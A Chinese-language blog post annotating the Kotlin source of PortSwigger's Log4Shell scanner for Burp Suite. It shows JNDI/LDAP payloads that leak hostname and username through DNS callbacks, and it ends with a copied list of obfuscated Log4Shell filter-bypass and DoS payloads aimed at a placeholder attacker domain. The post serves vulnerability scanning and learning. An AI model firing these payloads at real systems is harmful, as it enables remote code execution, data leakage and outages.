最近有些工作要接触到安卓开发,正好老本行Burpsuite中也有java开发的地方想学习,也正好可以看看插件的原理,因此有了下面的文章。
https://github.com/PortSwigger/log4shell-scanner
逻辑代码在:
| ____src
| |____main
| | |____kotlin
| | | |____burp
| | | | |____BurpExtender.kt
Kotlin写的,比较简单,下面来看看,从上往下的逻辑如下:
生成攻击payload,看循环上应该就三种
for ((prefix, key) in listOf(
Pair(QUERY_NOTHING, null),
Pair(QUERY_HOSTNAME, "hostName"),
Pair(QUERY_HOSTUSER, "hostName}-s2u-\${env:USERNAME:-\${env:USER}")
)) {
val payload = collaborator.generatePayload(false)
val keyLookup = if (key == null) "" else "\${$key}"
val bytes ="\${jndi:ldap://${prefix}${keyLookup}.$payload.${collaborator.collaboratorServerLocation}:99999/s2test}".toByteArray()
val request = insertionPoint!!.buildRequest(bytes)
val poff = insertionPoint.getPayloadOffsets(bytes)
val hs = baseRequestResponse!!.httpService
crontab[payload] = Pair(EarlyHttpRequestResponse(hs, request), poff) // fallback in case of timeout
val hrr = callbacks.makeHttpRequest(hs, request)//这里发起请求
val contextPair = Pair(hrr, poff)//保存请求的结果rsp和偏移值
context.add(contextPair)
collabResults.addAll(collaborator.fetchCollaboratorInteractionsFor(payload))//这里拿到dnslog的结果并保存
crontab[payload] = contextPair
延迟处理的结果是sync = false
立即处理的结果是sync = true
//延迟
synchronized(thread) {
if (!thread.isAlive) thread.start()
}
private val thread: Thread = object : Thread() {
override fun run() {
try {
while (true) {
sleep(60 * 1000) // 60 seconds -- poll every minute
val interactions =
collaborator.fetchAllCollaboratorInteractions().groupBy { it.getProperty("interaction_id") }
for (entry in interactions.entries) {
val payload = entry.key
val (hrr, poff) = crontab[payload] ?: continue
handleInteractions(
listOf(Pair(hrr, poff)),
entry.value,
sync = false
).forEach(callbacks::addScanIssue)
}
}
} catch (ex: InterruptedException) {
return
}
}
}
根据dnslog解析判断是哪个payload攻击成功
private fun extractHostUser(query: ByteArray): Pair<String, String?>? {
if (query[4] != 0.toByte() || query[5] != 1.toByte()) return null
val len = query[12].toInt()
if (len and 0xc0 != 0) return null
val decoded = query.decodeToString(startIndex = 13, endIndex = 13 + len)
when {
decoded.startsWith(QUERY_HOSTNAME) -> {//第二个payload开头
return Pair(decoded.substring(1), null)
}
decoded.startsWith(QUERY_HOSTUSER) -> {//第二个3开头
val parts = decoded.substring(1).split("-s2u-")//split前面是hostname split后面是user
if (parts.size != 2) return null
return Pair(parts[0], parts[1])
}
else -> return null
}
}
/*
* This file is part of Log4Shell scanner for Burp Suite (https://github.com/silentsignal/burp-piper)
* Copyright (c) 2021 Andras Veres-Szentkiralyi
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package burp
import java.io.PrintWriter
import java.net.URL
import java.util.*
import java.util.concurrent.ConcurrentHashMap
const val NAME = "Log4Shell scanner"
const val QUERY_NOTHING = 'q'
const val QUERY_HOSTNAME = 'h'
const val QUERY_HOSTUSER = 'u'
class BurpExtender : IBurpExtender, IScannerCheck, IExtensionStateListener {//继承三个接口
private lateinit var callbacks: IBurpExtenderCallbacks
private lateinit var helpers: IExtensionHelpers
//collaborator是专门用来打dnslog的。
private lateinit var collaborator: IBurpCollaboratorClientContext
private val crontab: ConcurrentHashMap<String, Pair<IHttpRequestResponse, IntArray>> = ConcurrentHashMap()
//这里是打延迟的,有的60s之后dnslog才接收到
private val thread: Thread = object : Thread() {
override fun run() {
try {
while (true) {
sleep(60 * 1000) // 60 seconds -- poll every minute
val interactions =
collaborator.fetchAllCollaboratorInteractions().groupBy { it.getProperty("interaction_id") }
for (entry in interactions.entries) {
val payload = entry.key
val (hrr, poff) = crontab[payload] ?: continue
handleInteractions(
listOf(Pair(hrr, poff)),
entry.value,
sync = false
).forEach(callbacks::addScanIssue)
}
}
} catch (ex: InterruptedException) {
return
}
}
}
// 重写了registerExtenderCallbacks,一般写插件的入口就是这里,基本可以套这个板子,改个NAME就行
override fun registerExtenderCallbacks(callbacks: IBurpExtenderCallbacks) {
this.callbacks = callbacks
helpers = callbacks.helpers
collaborator = callbacks.createBurpCollaboratorClientContext()
//赋值插件名
callbacks.setExtensionName(NAME)
//检查
callbacks.registerScannerCheck(this)
//注册监听器
callbacks.registerExtensionStateListener(this)
//检查通过输出信息
PrintWriter(callbacks.stdout, true).use { stdout ->
stdout.println("$NAME loaded")
}
}
// 重写了doPassiveScan
// 这个方法是IscannerCheck(上面继承的接口)下的方法,这里的意思应该是被动扫描就返回空,
// 就是不进行被动扫描
override fun doPassiveScan(baseRequestResponse: IHttpRequestResponse?): MutableList<IScanIssue> =
Collections.emptyList() // not relevant
// 重写了doActiveScan
// 可以看出主要工作在主动扫描
override fun doActiveScan(
baseRequestResponse: IHttpRequestResponse?,
insertionPoint: IScannerInsertionPoint?
): MutableList<IScanIssue> {
val context = mutableListOf<Pair<IHttpRequestResponse, IntArray>>()
val collabResults = mutableListOf<IBurpCollaboratorInteraction>()
for ((prefix, key) in listOf(
Pair(QUERY_NOTHING, null),
Pair(QUERY_HOSTNAME, "hostName"),
Pair(QUERY_HOSTUSER, "hostName}-s2u-\${env:USERNAME:-\${env:USER}")
)) {
// 生成DNSlog的payload,
val payload = collaborator.generatePayload(false)
//上面pair的prefix, key
val keyLookup = if (key == null) "" else "\${$key}"
//生成了payload,看循环上应该就三种
// collaborator.collaboratorServerLocation::The hostname or IP address of the Collaborator server
// 1. ${jndi:ldap://q.dnslog.ip:99999/s2test
// 2. ${jndi:ldap://h${hostName}.dnslog.ip:99999/s2test
// 3. ${jndi:ldap://u${hostName}-s2u-${env:USERNAME:-${env:USER}}.dnslog.ip:99999/s2test
val bytes =
"\${jndi:ldap://${prefix}${keyLookup}.$payload.${collaborator.collaboratorServerLocation}:99999/s2test}".toByteArray()
//将生成好的byte插入插入点,然后得到请求包
val request = insertionPoint!!.buildRequest(bytes)
//加了payload的之后的新的和老的req的偏移值
val poff = insertionPoint.getPayloadOffsets(bytes)
//返回一个IHttpService对象
val hs = baseRequestResponse!!.httpService
crontab[payload] = Pair(EarlyHttpRequestResponse(hs, request), poff) // fallback in case of timeout
val hrr = callbacks.makeHttpRequest(hs, request)//这里发起请求
val contextPair = Pair(hrr, poff)//保存请求的结果rsp和偏移值
context.add(contextPair)
collabResults.addAll(collaborator.fetchCollaboratorInteractionsFor(payload))//这里拿到dnslog的结果并保存
crontab[payload] = contextPair
}
//立即
val interactions = handleInteractions(context, collabResults, sync = true)
//延迟
synchronized(thread) {
if (!thread.isAlive) thread.start()
}
return interactions
}
//在这里生成一个新的IHttpRequestResponse,替换了req和IHttpRequestResponse
class EarlyHttpRequestResponse(private val hs: IHttpService, private val sentRequest: ByteArray) :
IHttpRequestResponse {
override fun getComment(): String = ""
override fun getHighlight(): String = ""
override fun getHttpService(): IHttpService = hs
override fun getRequest(): ByteArray? = sentRequest
override fun getResponse(): ByteArray? = null
override fun setComment(comment: String?) {}
override fun setHighlight(color: String?) {}
override fun setHttpService(httpService: IHttpService?) {}
override fun setRequest(message: ByteArray?) {}
override fun setResponse(message: ByteArray?) {}
}
private fun handleInteractions(
context: List<Pair<IHttpRequestResponse, IntArray>>,//payload和请求的映射
interactions: List<IBurpCollaboratorInteraction>,//dnslog的结果
sync: Boolean
): MutableList<IScanIssue> {
if (interactions.isEmpty()) return Collections.emptyList()
val hrr = context[0].first//第一个Pair(hrr, poff)
val iri = helpers.analyzeRequest(hrr)//处理http req rsp结果
val markers = context.map { (hrr, poff) ->
callbacks.applyMarkers(
hrr,
Collections.singletonList(poff),
Collections.emptyList()
) as IHttpRequestResponse
}.toTypedArray()
return Collections.singletonList(object : IScanIssue {
override fun getUrl(): URL = iri.url
override fun getIssueName(): String =
"Log4Shell (CVE-2021-44228) - " + (if (sync) "synchronous" else "asynchronous")
override fun getIssueType(): Int = 0x08000000
override fun getSeverity(): String = "High"
override fun getConfidence(): String = "Tentative"
override fun getIssueBackground(): String =
"See \"https://www.lunasec.io/docs/blog/log4j-zero-day/\">CVE-2021-44228"
override fun getRemediationBackground(): String? = null
override fun getRemediationDetail(): String =
"Version 2.15.0 of log4j has been released without the vulnerability." +
"
log4j2.formatMsgNoLookups=true can also be set as a mitigation on affected versions."
override fun getHttpMessages(): Array<IHttpRequestResponse> = markers
override fun getHttpService(): IHttpService = hrr.httpService
override fun getIssueDetail(): String {
val sb = StringBuilder("The application interacted with the Collaborator server "
)
if (sync) {
sb.append("in response to")
} else {
sb.append("some time after")
}
sb.append(" a request with a Log4Shell payload"
)
interactions.map(this::formatInteraction).toSortedSet().forEach { sb.append(it) }//dnslog标准化输出
sb.append("This means that the web service (or another node in the network) is affected by this vulnerability. "
)
sb.append("However, actual exploitability might depend on an attacker-controllable LDAP server being reachable over the network.")
if (!sync) {
sb.append(
"Since this interaction occurred some time after the original request (compare "
+
"the Date header of the HTTP response vs. the interactions timestamps above), " +
"the vulnerable code might be in another process/codebase or a completely different " +
"host (e.g. centralized logging, SIEM). There might even be multiple instances of " +
"this vulnerability on different pieces of infrastructure given the nature of the bug."
)
}
return sb.toString()
}
private fun formatInteraction(interaction: IBurpCollaboratorInteraction): String {
val sb = StringBuilder()
val type = interaction.getProperty("type")
if (type == "DNS") {
val hostUser = extractHostUser(helpers.base64Decode(interaction.getProperty("raw_query")))
if (hostUser == null) {
sb.append("- DNS"
)
} else {
val (host, user) = hostUser
sb.append("- By the host named $host"
)
if (user != null) sb.append(" running as user $user")
}
} else {
sb.append("- "
)
sb.append(type)
}
sb.append(" at ")
sb.append(interaction.getProperty("time_stamp"))
sb.append(" from ")
sb.append(interaction.getProperty("client_ip"))
sb.append("")
return sb.toString()
}
})
}
override fun consolidateDuplicateIssues(existingIssue: IScanIssue?, newIssue: IScanIssue?): Int =
0 // TODO could be better
override fun extensionUnloaded() {
synchronized(thread) {
if (thread.isAlive) {
thread.interrupt()
}
}
}
}
//dnslog里面找有没有我们的payload
private fun extractHostUser(query: ByteArray): Pair<String, String?>? {
if (query[4] != 0.toByte() || query[5] != 1.toByte()) return null
val len = query[12].toInt()
if (len and 0xc0 != 0) return null
val decoded = query.decodeToString(startIndex = 13, endIndex = 13 + len)
when {
decoded.startsWith(QUERY_HOSTNAME) -> {//第二个payload开头
return Pair(decoded.substring(1), null)
}
decoded.startsWith(QUERY_HOSTUSER) -> {//第二个3开头
val parts = decoded.substring(1).split("-s2u-")//split前面是hostname split后面是user
if (parts.size != 2) return null
return Pair(parts[0], parts[1])
}
else -> return null
}
}
实际上我们可以看出关键点就是payload生成,他这个官方的生成只有3个payload,攻击面比较窄,漏放的可能性比较大,因此我们可以拓展他的payload做一些改进就行。老样子,payload从github找:
[https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words/blob/main/src/main/java/log4j.java]
https://github.com/woodpecker-appstore/log4j-payload-generator
// Defaul one
logger.error("${jndi:ldap://somesitehackerofhell.com/z}");
// 1. System environment variables
// logger.error("${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}");
// 2. Lower Lookup
// logger.error("${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}");
// 2. Upper Lookup
// upper doesn't work for me - Tested on Windows 10
// logger.error("${${upper:j}ndi:${upper:l}${upper:d}a${upper:p}://somesitehackerofhell.com/z}");
// 3. "::-" notation
// logger.error("${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}");
// 4. Invalid Unicode characters with upper
// logger.error("${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}");
// 5. System properties
// logger.error("${jnd${sys:SYS_NAME:-i}:ldap://somesitehackerofhell.com/z}");
// 6. ":-" notation
// logger.error("${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}");
// 7. Date
// logger.error("${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}");
// 9. Non-existent lookup
// logger.error("${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}");
// 12. Trick with # (works on log4j 2.15)
// logger.error("${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}");
// 13. Dos attack (Works on LOG4j 2.8 - 2.16 )
// logger.error("${${::-${::-$${::-j}}}}");